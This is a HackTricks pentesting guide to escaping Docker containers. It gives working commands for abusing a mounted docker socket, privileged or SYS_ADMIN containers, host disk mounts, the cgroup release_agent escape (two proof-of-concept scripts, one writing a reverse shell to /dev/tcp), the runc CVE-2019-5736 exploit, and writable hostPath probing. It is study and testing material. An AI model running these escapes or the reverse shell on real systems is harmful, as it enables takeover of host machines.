hacktricks/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
2022-01-11 15:46:15 +00:00
..
docker-release_agent-cgroups-escape.md GitBook: [#2942] No subject 2022-01-11 15:46:15 +00:00
README.md GitBook: [#2942] No subject 2022-01-11 15:46:15 +00:00
relative-paths-to-pids.md GitBook: [#2942] No subject 2022-01-11 15:46:15 +00:00

Docker Breakout / Privilege Escalation

Automatic Enumeration & Escape

  • ****linpeas: It can also enumerate containers
  • ****CDK: This tool is pretty useful to enumerate the container you are into even try to escape automatically
  • ****amicontained: Useful tool to get the privileges the container has in order to find ways to escape from it
  • ****deepce: Tool to enumerate and escape from containers
  • ****grype: Get the CVEs contained in the software installed in the image

Mounted docker socket

If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In this case you can use regular docker commands to communicate with the docker daemon:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

{% hint style="info" %} In case the docker socket is in an unexpected place you can still communicate with it using the docker command with the parameter -H unix:///path/to/docker.sock {% endhint %}

Container Capabilities

You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE

You can check currently container capabilities using previously mentioned automatic tools or:

capsh --print

In the following page you can learn more about linux capabilities and how to abuse them to escape/escalate privileges:

{% content-ref url="../../linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Privileged Containers

A privileged container can be created with the flag --privileged or disabling specific defenses:

  • --cap-add=ALL
  • --security-opt apparmor=unconfined
  • --security-opt seccomp=unconfined
  • --security-opt label:disable
  • --pid=host
  • --userns=host
  • --uts=host
  • --cgroupns=host

The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can read all the effects of --privileged in this page:

{% content-ref url="../docker-privileged.md" %} docker-privileged.md {% endcontent-ref %}

In fact, --privileged provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:

  1. We must be running as root inside the container
  2. The container must be run with the SYS_ADMIN Linux capability
  3. The container must lack an AppArmor profile, or otherwise allow the mount syscall
  4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.

Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN.

A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN

Mounting Disk

Well configured docker containers won't allow command like fdisk -l. However on miss-configured docker command where the flag --privileged or --device=/dev/sda1 with caps is specified, it is possible to get the privileges to see the host drive.

So to take over the host machine, it is trivial:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

And voilà ! You can now access the filesystem of the host because it is mounted in the /mnt/hola folder.

Abusing release_agent

{% code title="Initial PoC" %}

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

{% endcode %}

The following is a different version, more readable, of the previous script:

{% code title="Second PoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output

{% endcode %}

--privileged flag v2

Runc exploit (CVE-2019-5736)

In case you can execute docker exec as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.

Change the payload accordingly and build the main.go with go build main.go. The resulting binary should be placed in the docker container for execution.
Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully you need to execute the following from the host machine:

docker exec -it <container-name> /bin/sh

This will trigger the payload which is present in the main.go file.

For more information: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

{% hint style="info" %} There are other CVEs the container can be vulnerable too {% endhint %}

Writable hostPath Mount

(Info from here) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:

#### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger

#### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

#### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1

References